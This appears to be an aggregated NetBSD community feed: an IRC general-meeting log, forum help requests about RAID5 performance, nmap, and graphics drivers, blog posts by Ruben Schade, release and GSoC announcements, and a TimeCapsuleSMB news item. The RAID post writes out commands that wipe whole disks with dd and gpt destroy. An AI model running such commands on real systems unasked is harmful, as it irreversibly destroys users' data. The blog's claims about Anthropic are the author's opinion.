14:56:25 @Riastradh (we are already running anubis on https://hgweb.test.netbsd.org and https://gitweb.test.netbsd.org/, just haven't deployed it or anything comparable on other services yet)
14:56:51 +racoon thank you
14:57:01 @Riastradh racoon: We would need a rack to do it, with enough machines to make it worthwhile to maintain there.  If you have a rack to offer, we could arrange that!
14:58:26 @leot Thanks racoon, spz and Riastradh!
14:58:49 -- Mode #netbsd-agm [-v racoon] by leot
14:59:10 -- Mode #netbsd-agm [+v cagney_] by leot
14:59:38 @leot We have a question from cagney_, probably for admins@ / gnats@!
14:59:45 @leot cagney_, feel free to go ahead with your question(s)!
14:59:55 +cagney_ leot, tks, yes; and hello all
15:00:01 -- Mode #netbsd-agm [+v nbdholland] by leot
15:00:45 +cagney_ I'm just wondering if, once NetBSD makes it off CVS, if the next big plan is the bug database? Any plans for that?
15:00:51 @Riastradh heh
15:01:07 @Riastradh We have had so many grandiose plans for bug database migration I lost count!
15:01:22 @spz yes, but it's got goats feet and then some
15:01:33 @spz since we do not want to lose old info
15:01:46 +nbdholland This has a long and unfortunate history
15:01:56 @Riastradh So, yes, it would be nice to migrate off gnats but we don't have a plan.
15:01:56 @spz otherwise: gnats should die. die die die die already. :-P
15:02:02 +nbdholland and what spz said.
15:02:09 @Riastradh But maybe we can start planning after we're done with CVS.
15:02:42 +nbdholland We've already done a lot of planning. The problem has always been getting any real work done on it
15:02:57 @Riastradh (Actually we won't quite be _done_ with CVS because there'll still be a read-only CVS front end!)
15:03:41 +cagney_ My only experience is that while it matters to preserve old bugs, it matters less to migrate them to a new system.
15:03:51 +cagney_ anyway, looking forward to move ment
15:04:40 @leot Thanks cagney_, spz, Riastradh and nbdholland!
15:04:51 -- Mode #netbsd-agm [-v cagney_] by leot
15:05:07 @leot We have another question, from ktnb... probably for security-team@ / core@ I think!
15:05:14 -- Mode #netbsd-agm [+v ktnb] by leot
15:05:19 +ktnb Hello!
15:05:31 +ktnb it seems like there are endless numbers of bugs and security bugs being around daily nowadays. I'm not sure if these bugs are found mostly by AI or not but is there any consideration on how or if we should do audits to find holes in NetBSD? in other words, how do we plan to 'keep up with the times' in this security bug world?
15:05:41 -- Mode #netbsd-agm [+v __martin] by leot
15:06:06 @leot If anyone would like to answer and has not been voiced, feel free to /msg me!
15:06:42 +__martin I'll try to answer that
15:06:58 +__martin we currently receive real bug reports at still moderate rates
15:07:03 -- Mode #netbsd-agm [+v krelz] by leot
15:07:29 +__martin we see a few "spamish" things that first ask for bug bounty programs and then never come back with real issues
15:07:30 -- Mode #netbsd-agm [+v nbdholland] by leot
15:07:49 +__martin so right now I'd say it is still handable w/o additional measures
15:08:22 +nbdholland In the long run we would also like to use formal verification tools to get ahead of the game
15:08:25 +krelz I didn't mention it in the core report, as I'm not a finance person and didn't
15:08:45 +krelz want to commit TNF to spend money, but core can receive proposals for projects
15:09:04 +krelz which can be funded if they seem worthwhile (at moderate rates)
15:09:22 +krelz If there are any proposals for how we could do active audits of the code,
15:09:39 +krelz rather than just waiting for someone else to find bugs and tell us about them,
15:09:57 +krelz that seems like something which might be worthy of some expenditure
15:10:01 +krelz .
15:10:29 +ktnb That was kind of my concern: are we not getting a lot of bugs because of lack of usage or are we just _that_ good
15:11:03 +krelz It is probably some of both of those, much of our codebase is old, and fairly
15:11:33 +krelz satble, there aren't a lot of bugs (even less security issues) to find probably,
15:11:52 @Riastradh Perhaps but we shouldn't get cocky...
15:11:54 +krelz and most of what does exist, is relatively harmless (unlikely, and not catastrophic)
15:12:23 +krelz But also, our user base isn't all that huge, compared to other systems, so
15:12:39 +krelz stray bugs can take longer to be encontered.
15:13:00 +krelz But that's also (in some respects) a good thing, as finding bugs in NetBSD
15:13:20 +krelz isn't so profitable for hackers, that they are less likely to bother
15:13:21 +krelz .
15:13:43 -- Mode #netbsd-agm [+v khorben] by leot
15:14:13 +khorben I'd like to add and emphasize on a few things: in NetBSD we rely on third-party components
15:14:36 +khorben some of these components have a security impact and subject to scrutiny (and CVEs)
15:15:02 +khorben so regardless of our relevance, we are targets too and should fund efforts ourselves
15:15:20 +khorben as mentioned earlier in board's summary, we are looking for volunteers to help us do that
15:15:47 +khorben thanks!
15:15:49 +khorben .
15:16:02 +krelz Agreed.   Send proposals to core@
15:16:29 +ktnb Thank folks!
15:16:47 @leot Thanks ktnb, __martin, nbdholland, krelz, Riastradh and khorben!
15:16:54 -- Mode #netbsd-agm [-v ktnb] by leot
15:16:56 -- Mode #netbsd-agm [-v __martin] by leot
15:17:00 -- Mode #netbsd-agm [-v nbdholland] by leot
15:17:03 -- Mode #netbsd-agm [-v krelz] by leot
15:17:06 -- Mode #netbsd-agm [-v khorben] by leot
15:17:09 -- Mode #netbsd-agm [-v Riastradh] by leot
15:17:42 @leot We have another question! From Ltning... probably for some pkgsrc folks! (maybe I can answer it, but if you can answer it, feel free to request voice via /msg me)
15:17:48 -- Mode #netbsd-agm [+v Ltning] by leot
15:18:16 +Ltning Hey all, I am a first-ish time pkgsrc patch submitted, specifically 60114
15:18:39 +Ltning It's a simple patch, of which I'd like to contribute more from time to time, but it seems "stuck"
15:19:09 -- Mode #netbsd-agm [+v racoon] by leot
15:19:15 +Ltning I guess my questions are 1) What can I do differently to get it unstuck, and 2) is there documentation on not just how to submit patches but how to "chase" them?
15:19:50 +racoon Ltning: since mail is a non-live medium, and irc is, my main suggestion would be to poke us on irc
15:19:58 +Ltning (I realise the pkgsrc team, like all others, are understaffed and overworked, so this is not meant to be criticism :)
15:20:15 +racoon it's also always helpful to say which platforms you've tested on
15:20:24 +racoon just because it shows confidence in the patch
15:20:53 @Riastradh Ltning: One thing that would be helpful is to make sure the `make test' target works, in addition to saying what platforms you've tested it on.
15:21:16 +Ltning Yeah - I have tried a couple times, but I guess not insistently enough. So perhaps the documentation could mention how-to-poke and also these things.
15:21:49 -- Mode #netbsd-agm [+v nbdholland] by leot
15:22:08 +nbdholland Another thing is, as per the discussion above, we all dislike gnats, and one of the reasons is that it's very difficult to find things in it
15:22:15 +Ltning Roger that - thanks. Will follow up with that.
15:22:34 -- Mode #netbsd-agm [+v krelz] by leot
15:22:36 +nbdholland So if you file a patch in a gnats PR, and it doesn't get attention quickly, chances are you need to poke someone about it
15:22:50 +krelz Also remember that everything in netbsd (incl pokgsrc)
15:23:05 +krelz is done by voolunteers - the best way to get someone to look
15:23:05 @Riastradh .oO(pokage source)
15:23:27 +krelz at a patch, is to find a developer with similar interests
15:23:31 +krelz (sorry for typos...)
15:23:47 +krelz and convince them to take a look - any developer will do,
15:24:07 +Ltning Yea. I guess the last comment from me then is - this is useful information, and I wish I didn't have to waste your time in this "call" to get it. 
15:24:12 +krelz the "pkgsrc team" (I believe) are generally more interested in
15:24:23 +Ltning Don't forget the impostor syndrome - I may be brave enough to poke randomly on IRC, but not everyone will be ..
15:24:30 +krelz the workings of pkgsrc itself, rather than individual packages
15:24:52 +krelz Finally, for an upgrade, which your PR is, it really helps to include
15:25:08 +krelz info on what has changed, why someone would want the upgrade
15:25:09 +krelz .
15:26:35 @leot Thanks Ltning, racoon, nbdholland Riastradh and krelz!
15:26:52 @leot We have another question, probably for finance-exec@
15:26:58 -- Mode #netbsd-agm [-v Ltning] by leot
15:26:59 +nbdholland Stuff like this about prodding people about patches being forgotten does appear on the lists at times
15:27:11 +nbdholland and it's ok to ask procedural questions there
15:27:16 -- Mode #netbsd-agm [+v Uilebheist] by leot
15:27:26 +Uilebheist Hi all, Hi NetBSD
15:27:29 +Uilebheist You mentioned that you are a US IRS 501(c)3 charitable organization - which is great for US people wanting to make a donation, but do you have or plan anything for people elsewhere?
15:28:06 @Riastradh We have discussed forming a potential nonprofit organization in Europe.
15:28:32 -- Mode #netbsd-agm [+v khorben] by leot
15:28:40 @Riastradh The main question is: How much administrative overhead does this bring on us (recall we're pretty much all volunteers, plus some part-time contracts with TNF)?
15:28:51 @Riastradh And, is that administrative burden worth the additional fundraising it would bring in?
15:29:06 @spz specifically, there are EU-wide nonprofits, but that's a lot of red tape
15:29:07 +khorben I can add to that, we have tried to revive an existing NetBSD structure in Germany to help with this
15:29:26 +khorben unfortunately it hasn't brought fruition as of now
15:29:47 @Riastradh And the administrative burden is likely to be more than just the sum of the administrative burden of two organizations separately, because they would have to be notionally independent, and we would have to have to come up with a reasonable governance structure for managing the assets.
15:29:56 +khorben and indeed there are already broader OSS structures in Europe and elsewhere
15:30:33 +khorben (and what Riastradh says)
15:31:41 +Uilebheist Thank you.  I guess for now we might just make a slighly smaller donation and not get tax back!
15:32:00 @Riastradh For example, you may be familiar with the FSF (Free Software Foundation) and FSFE (Free Software Foundation Europe) -- although they are mostly aligned in goals, they are independent organizations with independent governance structure, and sometimes disagree.
15:32:21 +Uilebheist Ah yes, noticed these.
15:33:31 @leot Thanks Uilebheist, spz, Riastradh, nbdholland and khorben!
15:33:44 -- Mode #netbsd-agm [-v Uilebheist] by leot
15:33:58 @leot I think the questions queue via my /query is currently empty!
15:34:01 @leot Any other questions?
15:34:26 @leot (And/or if I've missed any questions, please /msg them again!)
15:35:11 @Cryo Alright, thanks everyone for coming.
15:35:14 @leot Cryo: wait!
15:35:18 @leot We have another question! :)
15:35:32 -- Mode #netbsd-agm [+v wiedi] by leot
15:35:37 +wiedi Hi, is there a status update on the repo migration? (Thanks to everyone working on it!)
15:36:17 @Riastradh We have infrastructure in place, just requiring tying up some loose ends for deployment, and we need to prepare a clean final conversion.
15:36:59 +krelz Also, there is the test infrastructure, that not enough developers have been using
15:37:36 @Riastradh The infrastructure has taken a while because we're doing it a little differently from before, so we can reproducibly generate fresh images to test and deploy, rather than manually tinkering with a long-term server installation, and it took some engineering to get the software in shape for that.
15:38:05 +wiedi Thank you, looking forward to using it :)
15:38:29 +wiedi does the test infra also have a pkgsrc repo? I forgot... will have a look
15:38:44 @Riastradh yes, it does
15:38:52 +wiedi amazing, thanks for your work and answers :)
15:38:56 @leot Thanks wiedi, Riastradh and krelz!
15:39:05 -- Mode #netbsd-agm [-v wiedi] by leot
15:39:10 @leot Any other questions? :)
15:39:11 @Riastradh There are currently two test deployments, not all aligned on repository data (will change that soon), which you can test as a developer and anonymously.
15:39:45 @Riastradh Developer access is at hg.test.n.o or git.test.n.o over ssh, and anonymous access is at anonhg.test.n.o or anongit.test.n.o (or https://hgweb.test.netbsd.org/ or https://gitweb.test.netbsd.org).
15:40:41 +krelz Please, developers, use that, so you canb be familiar with
15:40:54 @Riastradh and there's a test repsitory called testsrc which is small to mess around with
15:40:56 +krelz how things will work.  Less issues after the real change happens.
15:41:07 @Riastradh Notes on usage: https://www.netbsd.org/developers/mercurial/ https://www.netbsd.org/developers/git/
15:41:11 +krelz Nothing can be :bad: in the tests, you can play safely
15:41:43 @Cryo Alright, again, thanks for coming. We are excited about the roadmap ahead and look forward to achieving these milestones together. Thank you for your time and your dedication to NetBSD.
15:42:03 @Cryo See you next year!
15:42:07 @leot Thank you!
15:42:08 @Riastradh There's also still read-only CVS access via anoncvs.test.n.o (testsrc only for now, will be everything once deployed) for access on small machines where git and hg have trouble running.
15:42:24 +khorben thanks @all!
15:42:53  * Cryo turns up the lights

Hey, i have created a raid5 on a NAS with 4 drives(not ssd's), and NetBSD (10.1 stable) is installed on a SSD disk.
The writing of files seems very slow, i have had the same setup with FreeBSD earlier, used a zraid. Unfortunately i did not do a speed test before starting to use netbsd... and i dont have exact numbers, but i do see it being slower... Im farely sure it is some kind of silly user error! But how to find What is the tricky part. Suggestions are welcomed!

I notice big difference if i copy files over the network to the SSD rather than the raid, so it is not the network
It transfers about 1 TB per 24 hours, which is slow. While writing files over the network, i did a write test:

$ dd if=/dev/zero bs=1024k count=1000 of=/mnt/island/test.txt
1000+0 records in
1000+0 records out
1048576000 bytes transferred in 141.066 secs (7433229 bytes/sec)

I have tried enabling cache on the drives aswell as the raid, without any notable difference...

This is basicly how i did:
Installed netbsd on the ssd, default install.
Cleared the drives. repeat 4x:

$ doas dd if=/dev/zero of=/dev/wd0 bs=1024k count=1

Checked size and created fs on the drives. The drives are identical, but wanted to be sure.

$ dmesg | grep wd0
$ doas newfs -O2 -s 7452g -F /dev/rwd0

Destroy, create and add gpt x4

$ doas gpt destroy wd0
$ doas gpt create -Af wd0
$ doas gpt add -t raid -l raid5@wd0 -b $(( 2048 )) -s 15628050000 wd0

Create the raid

$ doas raidctl raid5 create 5 /dev/dk3 /dev/dk4 /dev/dk6 /dev/dk5 (mine was out of order)
$ doas raidctl -I 133773311 raid5
$ doas raidctl -iv raid5 

Create a gpt for the raid and a partition

$ doas gpt create -Af raid5
$ doas gpt add -a 1024 -t ffs -l island raid5

Create a fs for the raid, then mount it

$ doas newfs -O2 NAME=island
$ doas mount /dev/dk7 /mnt

And this is my /etc/raid5.conf file

START array
# numRow numCol numSpare
1 4 0

START discs
/dev/dk3
/dev/dk4
/dev/dk6
/dev/dk5

START layout
# sectPerSU SUsPerParityUnit SUsPerReconUnit RAID_level_5
128 1 1 5

START queue
fifo 100

Thanks in advance!

I'm running NetBSD 11.0 RC4 and I want to check whether port 5353 on a host on my network is open for the UDP protocol. I'm using the following command:
nmap -sU -p 5353 192.168.1.225
I'm not getting any results.
Just to clarify, the npf firewall is not active.
Could someone tell me why this isn't working?

I don't have much to say, This only happens on this Computer

Linux boots fine and X.org only works with the intel driver

OpenBSD boots fine but I cannot start X

NetBSD boots fine until the i915 driver is loaded
https://files.catbox.moe/zwsif3.mp4
It says something about overclock there although all the settings on the motherboard are in auto

Is there a package for Tenacity on NetBSD or does it compile from source on NetBSD? I would appreciate any help. I am currently moving away from FreeBSD to NetBSD due to the lack of an "AI" policy from the core team. I use Audacity but understand that Tenacity has a no "AI" policy in place and would like to move over to Tenacity.

Thanks!

People in my area keep getting rid of some amazing kit. Last week I was walking back from our local coffee roaster—like a gentleman—when I chanced upon these two panels covered with autumn leaves by side of the road. Clara said words to the effect of “uh oh, more stuff we have to take back?”

Yes, yes indeed. I’m sorry.

The widescreen is a Dell something something. I don’t know what the model is, and I don’t care much to look it up. I hate 1080p for robbing us of the vastly superior WUXGA and its glorious 1920 × 1200 resolution we briefly had in the 2000s. And besides, it only ran for a few minutes before it made like a Matrox VGA card playing Commander Keen and started glitching. I fear that reference may be a bit too niche.

The NEC though, well that was another story. First, it weighed an absolute metric tonne. I can only assume, like Hi-Fi gear, that weight is correlated with quality. Maybe the liquid in the crystals is denser, or something. I only narrowly missed dropping it once, and it’s a good thing too or otherwise I might not have had a functional foot to carry me the rest of the way home with it.

Having made it home, and proving the Dell was broken, I turned with keen interest to the NEC. Commander Keen interest? MATROOOOXXX!!

☕︎ ☕︎ ☕︎

The NEC is a Multisync LEC 1790NXp (gesundheit). According to the official datasheet I was able to source from the Sharp Displays Europe website (huh), it’s a 19-inch TFT with an 800:1 contrast ratio, 20 ms response time, SXGA resolution, and enough weight to crush my aforementioned foot. Not amazing specs, but not bad either. Quite respectable for the time, actually.

So naturally I decided to plug it into my work MacBook Air to see Mac OS X rendered in such a way again:

I’ll admit… this resolution and aspect ratio stirred something in me long dormant. Three things, in fact.

• This is a bullet point. I know you know that, and I know you know I know you know that, but did you know I knew you knew I knew that you knew I knew? I know, right?

• It sent me back to my first LCD panel from my childhood. I spent my first paycheque from a part-time IT job in school on a 19-inch Philips panel with similar specifications as that NEC (albeit without DVI). I wax lyrical about retrocomputer nostalgia here, but I harbour no attachment to CRTs. They whined, took up more space than I had, and gave me headaches (yes, including the better CRTs you’re thinking of and are about to email me about). That crisp, svelte LCD was a revelation. Oh boy, did I love that monitor something fierce.

• I remembered just how optimised that aspect ratio felt for me, and how subsequent monitors do not feel this way. 19-inch SXGA panels hit that sweet spot where I could run two text editors or terminal columns in one virtual desktop, and a web browser at full screen in another. Not being a widescreen, I didn’t have to dart my eyes from left to right to see everything at once. Everything was within my field of vision. It was perfect.

Thesedays, my retrocomputer table is set up with a couple of 15-inch SVGA LCDs connected to a veritable hornet’s nest of upscalers, converters, adaptors, and other paraphernalia to connect everything from Commodore 64s and Apple IIs, to SGIs and SPARCStations. But now I’m thinking I’ll swap one of these out for this 19-inch panel. NetBSD with CDE (or even Xfce fashioned to look like how it used to) on those machines running at SXGA might just be what I need in my life again.

The next step was to plug it into my FreeBSD ThinkPad E14, because I wanted to see how a modern *nix desktop would render in this glorious year of 2026 in SXGA resolution. I saw the image appear on screen for a solid minute before an audible buzz developed, then a loud POP, accompanied by a strong odour of crispy electronics. Well shucks, at least I got one screenshot before it went the way of the Dell.

As for modern displays, a Retina or 2× HiDPI panel with such an aspect ratio and size would be incredible. Fsck widescreens. I know people have been repurposing old iPads and Samsung tablets with their squarer displays for desktop use; maybe I need to wait for one of them to make a Super Max version, or something.

Anyway, I’d better open a window before the smoke alarm goes off. It’s bad enough when I burn crumpets, let alone whatever caps or power supply components let out their magic smoke. I really should be doing that instead of writing this post. Yet here I am. Funny that.

By Ruben Schade in Sydney, 2026-05-27.

Hi All,

After installing RC4 my earlier issue with my AMD Radeon R9 Nano vanished since the amdgpu driver kicks in at last but the only resolution xrandr can identify and use is 1024x768. However, earlier I could use 1920x1080. I tried setting what cvt and gtf suggest without any success. The first error I get is:
xrandr: screen cannot be larger than 1024x768

Which I could not fix via xrandr but in arandr I managed to adjust the size. However, after that when selecting the new 1920x1080 mode, I get the error:
Configure crtc 0 failed

After some googling I bumped into a page where someone had the same issue:
https://commonplace.doubleloop.net/xrandr-configure-crtc-0-failed-problems

I also looked up my monitor's specs and it was indeed different from what cvt and gtf suggest:
`1920x1080 @ 60.00 Hz (GTF) hsync: 67.08 kHz; pclk: 172.80 MHz
Modeline "1920x1080_60.00" 172.80 1920 2040 2248 2576 1080 1081 1084 1118 -HSync +Vsync

1920x1080 59.96 Hz (CVT 2.07M9) hsync: 67.16 kHz; pclk: 173.00 MHz
Modeline "1920x1080_60.00" 173.00 1920 2048 2248 2576 1080 1083 1088 1120 -hsync +vsync`

In the specs pclk is 148.5 while hsync and vsync are +/+ instead of -/+. Unfortunately, no matter which of these I try to apply, I still get the same error mentioned above. Anyhow, this what xrandr verbose says now:
Screen 0: minimum 1024 x 768, current 1024 x 768, maximum 1920 x 1080
default connected 1024x768+0+0 (0x51c) normal (normal) 0mm x 0mm
Identifier: 0x51b
Timestamp: 4357110
Subpixel: unknown
Gamma: 1.0:1.0:1.0
Brightness: 0.0
Clones:
CRTC: 0
CRTCs: 0
Transform: 1.000000 0.000000 0.000000
0.000000 1.000000 0.000000
0.000000 0.000000 1.000000
filter:
non-desktop: 0
supported: 0, 1
1024x768 (0x51c) 0.000MHz *current
h: width 1024 start 0 end 0 total 1024 skew 0 clock 0.00KHz
v: height 768 start 0 end 0 total 768 clock 0.00Hz
1920x1080 (0x520) 148.500MHz +HSync +VSync
h: width 1920 start 2048 end 2248 total 2576 skew 0 clock 57.65KHz
v: height 1080 start 1083 end 1088 total 1120 clock 51.47Hz

Any help is appreciated.

BR,
r0ller

I’m a long time lurker (and occasional poster) to the netbsd-users mailing list, the official mailing list for NetBSD users. Thanks Ruben, that explanation was helpful.

Back on the 16th of April, Michael Cheponis expressed interest in having the NetBSD Foundation be involved with Anthropic and their latest LLM bug detection tool:

As most know, Claude Mythos (not released to the public) is the model that found a long-standing OpenBSD security bug.

Given that 11RC3 is now being tested, I wondered if it made sense for The NetBSD Foundation to join Project Glasswing, for the express purpose of submitting the codebase to LLM security audit, before officially releasing 11.0 ?

On suggestion of a member of this list, I attempted to contact Anthropic directly, but as a mere NetBSD user, I have no sway. BUT, the NetBSD Foundation does.

Here’s the detail that Claude Opus 4.7 provided me on this:

I won’t be quoting the rest of his message, as I have a policy of not publishing slop. But if there’s a kernel of truth to any of it, the LLMs claim the NetBSD Foundation could apply for “glasswing-adjacent” access via the “Claude for Open Source” initiative. The latter does appear to be a real thing, so stopped clocks and all that.

For those unfamiliar, Mythos was the tool that couldn’t prevent Anthropic leaking the source of their code generator. The timing and breathless coverage of Mythos conveniently buried this bad press, along with yet another of the CEO’s many false predictions, and misleading the public about their shaky finances.

But back to NetBSD! Unsurprisingly to any of you who read my blog regularly, I have my reservations. The NetBSD Foundation have made their position on LLM contributions clear since they updated their Commit Guidelines. Under Section 2 regarding tainted commits:

Code generated by a large language model or similar technology […] is presumed to be tainted code, and must not be committed without prior written approval by core.

Granted, this is about code commits, and not testing frameworks or security reports. But I think the Foundation’s position on this tooling is clear.

Three days later on the 20th of April, requiem replied voicing several of my concerns:

To what extent would this make NetBSD dependent upon Anthropic’s services on the long term tho? Does NetBSD want the golden shackles these offers are?

The business model here is to make themselves “indispensible” for development. Does the project need such an external dependance on a company like Anthropic?

Further - what happens, hypothetically, after Anthropic folds in an AI bubble pop? What happens if Anthropic decides to terminate the service after it becomes a part of the development life cycle for NetBSD? Or decide that they are altering the terms?

Don’t fall for the “there is free candy in my van” marketing. “Anthropic” are not “philanthropic”, if you excuse the pun.

As an aside, imagine how many more such bugs OpenBSD devs could have found or prevented if the estimated $20k in tokens burnt on that single bug was paid out as developer salaries…

One can only imagine. By the way, do you use Linux? Do you use OpenSSH to access it? If so, when was the last time you donated to the OpenBSD Foundation that makes your security tooling possible?

☕︎ ☕︎ ☕︎

I’m not denying that LLMs could be used for security research. But thus far I’ve been underwhelmed when taking into account their externalities and costs. My advice to the NetBSD Foundation is to spend their precious resources in more productive and useful ways. That reminds me, I should donate to them too.

By Ruben Schade in Sydney, 2026-05-15.

The NetBSD project is pleased to announce the fourth (and this time hopefully final) release candidate of the upcoming 11.0 release, please help testing!
See the release announcement for details.

The netbsd-11 release branch is nearly a year old now, so it is high time the 11.0 release makes it to the front stage.

Unfortunately the first release candidate had a few defects that we had to fix, including speed enhancements for the ftp(1) client when downloading large files, an updated tmux(1), reliability fixes for blocklistd(8) and fixes for the Mesa library. See the changes document for details.

Please note that various ISO images have been split into small ones for CD/R media and full featured DVD ones. If you are not restricted by the size limits of a CD/R medium, make sure to pick the image with "-dvd.iso" in the name.

A lot of recent security updates in third party software bundled in NetBSD happened after the previous release candidate. This includes OpenSSH, OpenSSL, Postfix, bind, xz and more.

If you want to test 11.0 RC4 please check the installation notes for your architecture and download the preferred install image from the CDN or if you are using an ARM based device from the netbsd-11 builds from the bootable ARM images page.

If you have any issues with installation or run into issues with the system during use, please contact us on one of the mailing lists or file a problem report.

My history with web servers is entirely unremarkable, and likely mirrors yours. I first ran Apache/httpd when I was kid, before moving onto lighttpd in my first paid gig—lighty for those in the know—then onto nginx where I’ve mostly remained since, save for running Bozotic on a 486 with NetBSD because of course. Also IIS for a project, but we don’t speak of that.

nginx is great web server and reverse proxy. It’s fast, sips system resources like its 2026 and Moore’s Law has been flipped upside down, and has wide industry support. The latter is important for two reasons:

• Tooling like certbot can integrate and orchestrate it automatically.

• Most web software you’ll ever want to run either supports nginx, or has example config you can use.

The latter is important to me, because… my brain stubbornly refuses to grok its syntax. I understand conceptually why it’s structured and written the way it is, but it’s always felt like I’m fighting against it. It routinely requires requires multiple rounds of iteration and checking logs to figure out why some stanza isn’t behaving how I need, want, or expect.

If you don’t have that issue, that’s great! Alas, I am not you. I’d certainly be more attractive.

This is what we refer to in the industry as a PEBKAC, or a Pernicious Escalation of Byzantine Keyboard Altercations and Confusion. Aka, the problem is me. But I rarely had that issue with Apache or lightty; or at least, not to the same extent.

I’ll admit it’s had me researching alternatives, some of which include:

• Vinyl Cache (ne. Varnish FOSS) which remains my favourite reverse caching proxy. I’ve deployed it in minutes for Apache and Node web servers. It’s awesome. I should use it for this blog.

• Caddy feels thoroughly like a modern web server, with transparent Let’s Encrypt certificate generation, and syntax that I was able to grok and write within minutes. It even delivers plain HTTP, which I initially thought it didn’t. I’ve read anecdotal reports that it doesn’t scale as well as nginx, but I wouldn’t know.

• Angie is another nginx fork that also does automatic HTTPS certificate negotiation, though it naturally inherits much of that nginx config. It might be a useful drop-in for existing installs, especially in light of the F5 purchase of nginx.

• Lighttpd is still around (!), and I’ll admit it was fun setting up again on an old box again.

• Bozotic, which comes with NetBSD and that everyone should run at least once because life is too short. My aim is to eventually serve my Retro Corner with this.

I’m sure I’m missing some, but I’m tempted to run some labs and compare.

By Ruben Schade in Sydney, 2026-05-13.

Another day, another Linux exploit. It’s been hard to keep track over the last few months. Vulnerabilities are inevitable, but they do highlight my concerns again regarding monocultures.

Any post I’ve ever written warning about monocultures and Linux (or as I’ve taken to calling my home desktop, KDE/Linux) is received with howls of protest, especially when they escape containment and end up on the usual news aggregator sites. I’ll either be accused of misunderstanding Linux, or overstating the problem with monocultures, or that I should check out this well, actually. I’ve even had people claim Linux as a monoculture is good, on the basis that Windows was bad. I’d point out the logical fallacy if I weren’t instead blocking their email address and moving on with my life!

I concede, Linux isn’t necessarily a monoculture in the way Windows used to be, back when that OS was widely relevant. Different distributions do offer a wide and varying degree of support for packages and systems. My Alpine Linux server running Busybox and OpenRC, and my NetBSD laptop I dual-boot with Slackware (also running pkgsrc!), are very different beasts from RHEL, or Ubuntu. But by definition they’re all running the same kernel (albeit with different patches), likely the same drivers, and much of the same software. For a platform touted as giving people ultimate control over what they run, the ecosystem has largely coalesced around the same set of userland tools, and a digital hydra that used to cosplay as an init system. I don’t ascribe malicious intent here (much); consolidation tends to be how these things shake out.

But that’s bad news for the health and security of our systems, and the Web more broadly. It would be bad if we all went back to Windows, it’s bad we’re all running Linux, and it would be bad if we all ran FreeBSD. Or illumos. Or Plan 9. Having a diversity of platforms, operating systems, software, and people is how we develop a robust immune system to the kind of problems we’re now seeing.

As David Chisnall summarised on Mastodon:

If you have a mix of different systems, it is much harder to build exploits that will work on all of them.

So then the question becomes: how are you introducing diversity into your infrastructure? If you don’t, how are you planning on correcting this? May I suggest a BSD?

By Ruben Schade in Sydney, 2026-05-08.

Another day, another Linux exploit. It’s been hard to keep track over the last few months. Vulnerabilities are inevitable, but they do highlight my concerns again regarding monocultures.

Any post I’ve ever written warning about monocultures and Linux (or as I’ve taken to calling my home desktop, KDE/Linux) is received with howls of protest, especially when they escape containment and end up on the usual news aggregator sites. I’ll either be accused of misunderstanding Linux, or overstating the problem with monocultures, or that I should check out this well, actually. I’ve even had people claim Linux as a monoculture is good, on the basis that Windows was bad. I’d point out the logical fallacy if I weren’t instead blocking their email address and moving on with my life!

I concede, Linux isn’t necessarily a monoculture in the way Windows used to be, back when that OS was widely relevant. Different distributions do offer a wide and varying degree of support for packages and systems. My Alpine Linux server running Busybox and OpenRC, and my NetBSD laptop I dual-boot with Slackware (also running pkgsrc!), are very different beasts from RHEL, or Ubuntu. But by definition they’re all running the same kernel (albeit with different patches), likely the same drivers, and much of the same software. For a platform touted as giving people ultimate control over what they run, the ecosystem has largely coalesced around the same set of userland tools, and a digital hydra that used to cosplay as an init system. I don’t ascribe malicious intent here (much); consolidation tends to be how these things shake out.

But that’s bad news for the health and security of our systems, and the Web more broadly. It would be bad if we all went back to Windows, it’s bad we’re all running Linux, and it would be bad if we all ran FreeBSD. Or illumos. Or Plan 9. Having a diversity of platforms, operating systems, software, and people is how we develop a robust immune system to the kind of problems we’re now seeing.

As David Chisnall summarised on Mastodon:

If you have a mix of different systems, it is much harder to build exploits that will work on all of them.

So then the question becomes: how are you introducing diversity into your infrastructure? If you aren’t, how are you planning on correcting this? May I suggest a BSD?

By Ruben Schade in Sydney, 2026-05-08.

We are happy to announce that The NetBSD Foundation will participate in Google Summer of Code 2026 with 5 projects!

Here the list of the projects and contributors:

• Improving and Stabilizing the racoon2 IKE Daemon in NetBSD - Artem Belan
• Port the Enlightenment desktop environment to NetBSD - Dimitris Gounaridis
• Improving RAIDframe - Emmanuel Nyarko
• Testing Compat Linux: Syscall testing - Henrique Brito
• Convert a Wi-Fi driver to the new Wi-Fi stack - Vishal@88

From May 1 to May 24 it starts the community bonding period. Contributors will familiarize with the codebase, get in touch with their mentors and the community and work with the mentors to set the deliverables for the project.

Welcome Artem, Dimitris, Emmanuel, Henrique and Vishal!

It seems like Apple is finally going to remove support for AFP from macOS, twelve years after first moving from AFP to SMB for its default network file-sharing technology. This change shouldn’t impact most people, as it’s highly unlikely you’re using AFP for anything in 2026. Still, there is one small group of people to whom this change has an actual impact: owners of Apple’s Time Capsule devices. Time Capsules only support AFP and SMB1, and with SMB1 being removed from macOS ages ago, and now AFP being on the chopping block as well, macOS 27 would render your Time Capsule more or less unusable.

It’s important to note that the last Time Capsule sold by Apple, the fifth generation, was released in 2013, and the product line as a whole was discontinued in 2018. If you bought a Time Capsule in the twilight years of the line’s availability, I think you have a genuine reason to be perturbed by Apple cutting you off from your product if you upgrade to macOS 27, but at least you have the option of keeping an older version of macOS around so you can keep interacting with your time Capsule. It still feels like a bit of a shitty move though, as those fifth generation models came with up to 3TB of storage, which can still serve as a solid NAS solution.

Thank your lucky stars, then, that open source can, as usual, come to the rescue when proprietary software vendors do what they always do and screw over their customers. Did you know every generation of Time Capsule actually runs NetBSD, and that it’s trivially easy to add support for Samba 4 and SMB3 authentication to your Time Capsule, thereby extending its life expectancy considerably? TimeCapsuleSMB does exactly that.

If the setup completes successfully, your Time Capsule will run its own Samba 4 server, advertise itself over Bonjour (show up automatically in the “Network” folder on macOS), and accept authenticated SMB3 connections from macOS. You should then be able to open Finder, choose Connect to Server, and use a normal SMB URL instead of relying on Apple’s legacy stack. You should also be able to use the disk for Time Machine backups.

↫ TimeCapsuleSMB

It’s compatible with both NetBSD 4 and NetBSD 6-based Time Capsules, although you’ll need to run a single SMB activation command every time a NetBSD 4-based Time Capsule reboots. This will also disable any AFP and SMB1 support, but that is kind of moot since those are exactly the technologies that don’t and won’t work anymore once macOS 27 is released. The installation is also entirely reversible if, for whatever reason, you want to undo the addition of Samba 4.

This whole saga is such an excellent example of why open source software protects users’ rights, by design.

I use kqueue(2) on macOS, FreeBSD, NetBSD, OpenBSD, DragonflyBSD.

